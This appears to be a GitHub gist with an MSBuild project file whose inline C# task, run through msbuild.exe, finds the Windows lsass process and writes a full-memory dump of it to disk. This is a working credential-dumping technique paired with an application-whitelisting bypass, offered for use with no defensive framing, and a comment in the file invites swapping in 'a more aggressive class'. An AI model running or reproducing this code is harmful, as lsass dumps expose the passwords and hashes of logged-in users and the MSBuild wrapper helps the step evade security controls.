Created
February 24, 2018 16:31
-
-
Save firefalc0n/fb76faa98485099f187675e6f9f9fb11 to your computer and use it in GitHub Desktop.
MSBuild - Process Dumper - lsass example
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
<!-- This inline task executes c# code. --> | |
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe MSBuildProcDumper.csproj --> | |
<!-- Feel free to use a more aggressive class for testing. --> | |
<Target Name="Hello"> | |
<ClassExample /> | |
</Target> | |
<UsingTask | |
TaskName="ClassExample" | |
TaskFactory="CodeTaskFactory" | |
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
<Task> | |
<!-- <Reference Include="System.IO" /> Example Include --> | |
<Code Type="Class" Language="cs"> | |
<![CDATA[ | |
using System; | |
using System.IO; | |
using System.Diagnostics; | |
using System.Runtime.InteropServices; | |
using System.Security; | |
using System.Reflection; | |
using System.Runtime.Remoting; | |
using System.Threading; | |
using System.Globalization; | |
using Microsoft.Build.Framework; | |
using Microsoft.Build.Utilities; | |
public class ClassExample : Task, ITask | |
{ | |
public override bool Execute() | |
{ | |
Console.WriteLine("Hello From MSBuildProcDump!"); | |
CreateMiniDump(); | |
return true; | |
} | |
public static class MINIDUMPTYPE | |
{ | |
public const int MiniDumpNormal = 0x00000000; | |
public const int MiniDumpWithDataSegs = 0x00000001; | |
public const int MiniDumpWithFullMemory = 0x00000002; | |
public const int MiniDumpWithHandleData = 0x00000004; | |
public const int MiniDumpFilterMemory = 0x00000008; | |
public const int MiniDumpScanMemory = 0x00000010; | |
public const int MiniDumpWithUnloadedModules = 0x00000020; | |
public const int MiniDumpWithIndirectlyReferencedMemory = 0x00000040; | |
public const int MiniDumpFilterModulePaths = 0x00000080; | |
public const int MiniDumpWithProcessThreadData = 0x00000100; | |
public const int MiniDumpWithPrivateReadWriteMemory = 0x00000200; | |
public const int MiniDumpWithoutOptionalData = 0x00000400; | |
public const int MiniDumpWithFullMemoryInfo = 0x00000800; | |
public const int MiniDumpWithThreadInfo = 0x00001000; | |
public const int MiniDumpWithCodeSegs = 0x00002000; | |
} | |
[DllImport("dbghelp.dll")] | |
public static extern bool MiniDumpWriteDump( | |
IntPtr hProcess, Int32 ProcessId, IntPtr hFile, int DumpType, | |
IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallackParam); | |
private static void CurrentDomainUnhandledException( | |
object sender, UnhandledExceptionEventArgs e) | |
{ | |
CreateMiniDump(); | |
} | |
public static void CreateMiniDump() | |
{ | |
DateTime endTime = DateTime.Now; | |
string dt = endTime.ToString("yyyy.MM.dd.HH.mm.ss", DateTimeFormatInfo.InvariantInfo); | |
string dumpFileName = "Dump" + dt +".dmp"; | |
FileStream fs = new FileStream(dumpFileName, FileMode.Create); | |
Process[] plist = Process.GetProcessesByName("lsass"); | |
Process process = plist[0]; | |
Console.WriteLine(process.Id); | |
MiniDumpWriteDump( | |
process.Handle, process.Id, | |
fs.SafeFileHandle.DangerousGetHandle(), | |
MINIDUMPTYPE.MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); | |
} | |
} | |
]]> | |
</Code> | |
</Task> | |
</UsingTask> | |
</Project> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment